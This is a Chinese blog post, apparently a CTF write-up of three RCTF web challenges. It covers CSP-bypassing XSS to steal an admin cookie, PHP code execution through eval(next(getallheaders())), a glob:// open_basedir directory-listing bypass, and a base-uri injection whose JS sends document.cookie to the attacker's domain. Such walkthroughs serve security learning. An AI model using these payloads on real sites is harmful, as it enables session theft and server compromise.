感觉自己好久没更了。。
最近看了RCTF的WEB题,感觉好多前端。。然而前端并不是很会,于是趁着这个机会稍稍补了一些前端知识。又跟着大佬的wp复现了一下,收获不少,总结一下。
参考了
1、https://ctftime.org/writeup/10101
2、https://xz.aliyun.com/t/2347
进入页面,首先根据提示可以给一个参数name,输入?name=ichigo得到
我们得到了提示,flag在管理员的cookie中,猜想应该是XSS。
我们测试一下?name=,发现并没有执行
看一下源码,我们注意到这里存在这CSP,因为我们无法得知随机生成的nonce值,所以我们的脚本无法执行。
注:
关于CSP推荐两篇文章
http://www.freebuf.com/articles/web/116836.html
http://www.ruanyifeng.com/blog/2016/09/csp.html
以及推荐一篇大佬的文章,我从这里才大概明白了CSP的一些技巧:
https://blog.csdn.net/publicStr/article/details/79787943
虽然可以通过一些方法绕过CSP,但对于本题不适用。
于是将注意力转移到注释,会不会是因为AMP标准?
学习AMP标准,我参考了https://xz.aliyun.com/t/2347中所提到的两篇文章
https://zh.wikipedia.org/zh-hans/Accelerated_Mobile_Pages
https://www.ampproject.org/zh_cn/docs/fundamentals/spec
如果发现cookie已经设置,则会被替换。
这样就有思路了,我们可以将名字设为
?name=
关于domain的问题,我选择使用ngork来将本机ip解析到公网上。因为之前对XSS不熟悉,这个工具找了好久2333
最后得到flag:
参考了https://www.jianshu.com/p/03f16d014667
首先进入页面看到代码:
于是我们设置参数?action=go
得到代码
接下来审计代码
关键在这里,说明只能匹配型如 a(b(c(...))) 的字符串。
关于(?R)
这里我卡了很久,最后问了大佬得知这是PHP中的一种递归模式,可以去php文档中查一下。
丢个网址:http://php.net/manual/zh/regexp.reference.recursive.php
但是类似这样的命令是很有限的,我们要做到任意命令执行。因为header是我们可控的,所以可以通过如
cmd=eval(next(getallheaders()))这样来通过修改header来执行命令。
测试一下:
发现执行成功。
接下来我们要找到flag存在的文件,即需要遍历目录,但是这里有open_basedir限制
我们把header中的命令改为:
if($dh=opendir("glob:///var*/www*/sandbox*/*")){while(($file=readdir($dh))!==false){echo"$file\n";}closedir($dh);}
这里有个问题,为什么要 /var*/www*/... 而不是 /var/www/?
我最初以为两者都可以 但是实际测试了一下发现结果并非如此:
不带*号是无法遍历目录的。
很迷,只能问大佬,这里大佬又甩出来一篇博文,
https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html
看完大概明白这是一种open_basedir方法:
Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。Open_basedir实际上是一些目录的集合,在定义了open_basedir以后,php可以读写的文件、目录都将被限制在这些目录中。
而用/*/这种方法可以绕过open_basedir,不会受到限制!
这样大概明白了。猜测flag存在于init.php中,我们要读取init的源码。
经过测试我们知道我们所访问的index.php存在于每个token文件夹中,而init.php在上级目录。
尝试file_get_contents()一下,失败了,没有权限。
注意到
Host是我们的token加上.sandbox.....
会不会是因为我们的权限只在这个token文件夹中?
于是我们修改一下host和请求的url,得到flag。
参考了https://ctftime.org/writeup/10100
进入页面
每个里面都输入测试一下,得到
查看一下网页源代码:
发现在title中存在XSS。
注意到
存在CSP方法,抓个包看一下:
放进CSP Evaluator看一下
发现在CSP的限制里,base-url 缺失,
那是否可以通过什么办法让服务器加载的js文件是我们可以控制的js文件呢?
首先看一下是否会对我们本地发起请求:
在title中填入
测试一下:
发现果然对我们的本地发起了请求,请求的文件正是
/assets/js/jquery.min.js
于是我们可以在本地构造一个js文件,让js文件路径和原路径保持一致,js文件内容为:
location.href="your domain ?"+document.cookie;
再测试一下,得到flag: